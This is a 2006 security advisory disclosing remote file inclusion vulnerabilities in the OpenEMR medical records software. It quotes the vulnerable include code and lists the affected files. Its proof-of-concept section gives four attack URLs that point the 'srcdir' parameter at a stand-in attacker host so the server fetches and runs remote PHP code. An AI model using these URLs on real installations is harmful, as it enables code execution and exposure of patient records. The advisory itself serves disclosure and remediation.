Echo Security Advisory 2006.60

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ECHO_ADV_60$2006  
  
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[ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability  
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Author : Dedi Dwianto a.k.a the_day  
Date Found : November, 01nd 2006  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv60-theday-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : OpenEMR  
version : <=2.8.1  
URL : http://www.oemr.org  
  
OpenEMR is Open Source electronic medical record and medical practice management software.   
OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic  
health records and scheduling software.   
OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger,  
and access controls with php-GACL.  
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Vulnerability:  
~~~~~~~~~~~~~  
  
I found vulnerability in interface/billing/billing_process.php  
-----------------------interface/billing/billing_process.php-------------  
....  
<?  
...  
include_once("$srcdir/patient.inc");  
include_once("$srcdir/billrep.inc");  
...  
----------------------------------------------------------  
  
Input passed to the "$srcdir" parameter in billing_process.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
  
Also affected files :  
  
interface/billing/billing_report.php  
interface/billing/billing_report_xml.php  
interface/billing/print_billing_report.php  
login.php  
interface/batchcom/batchcom.php  
interface/login/login.php  
interface/main/main_info.php  
interface/main/main.php  
interface/new/new_patient_save.php  
interface/practice/ins_search.php  
interface/logout.php  
interface/reports/custom_report_range.php  
interface/reports/players_report.php  
interface/reports/front_receipts_report.php  
interface/usergroup/facility_admin.php  
interface/usergroup/usergroup_admin.php  
interface/usergroup/user_info.php  
interface/usergroup/facility_admin.php  
interface/usergroup/facility_admin.php  
custom/import_xml.php  
  
New Vulnerability in OpenEMR Version 2.8.1  
----library/translation.inc.php----  
<?  
....  
include_once($GLOBALS['srcdir'] . '/sql.inc');  
....  
?>  
  
Proof Of Concept:  
~~~~~~~~~~~~~~  
  
http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt?  
http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt?  
http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt?  
http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt?  
  
  
  
Solution:  
~~~~~~  
  
- Sanitize variable $srcdir affected files.  
- Turn off register_globals  
  
Timeline :  
~~~~~~~~  
  
01 - 11 - 2006 bugs found  
01 - 11 - 2006 vendor contacted  
07 - 11 - 2006 public disclosure  
  
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Shoutz:  
~~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy My Brain  
~ az001,bomm_3x,matdhule,angelia  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
------------------------------------------------------------------------  
---  
Contact:  
~~~  
EcHo Research & Development Center  
the_day[at]echo[dot]or[dot]id  
  
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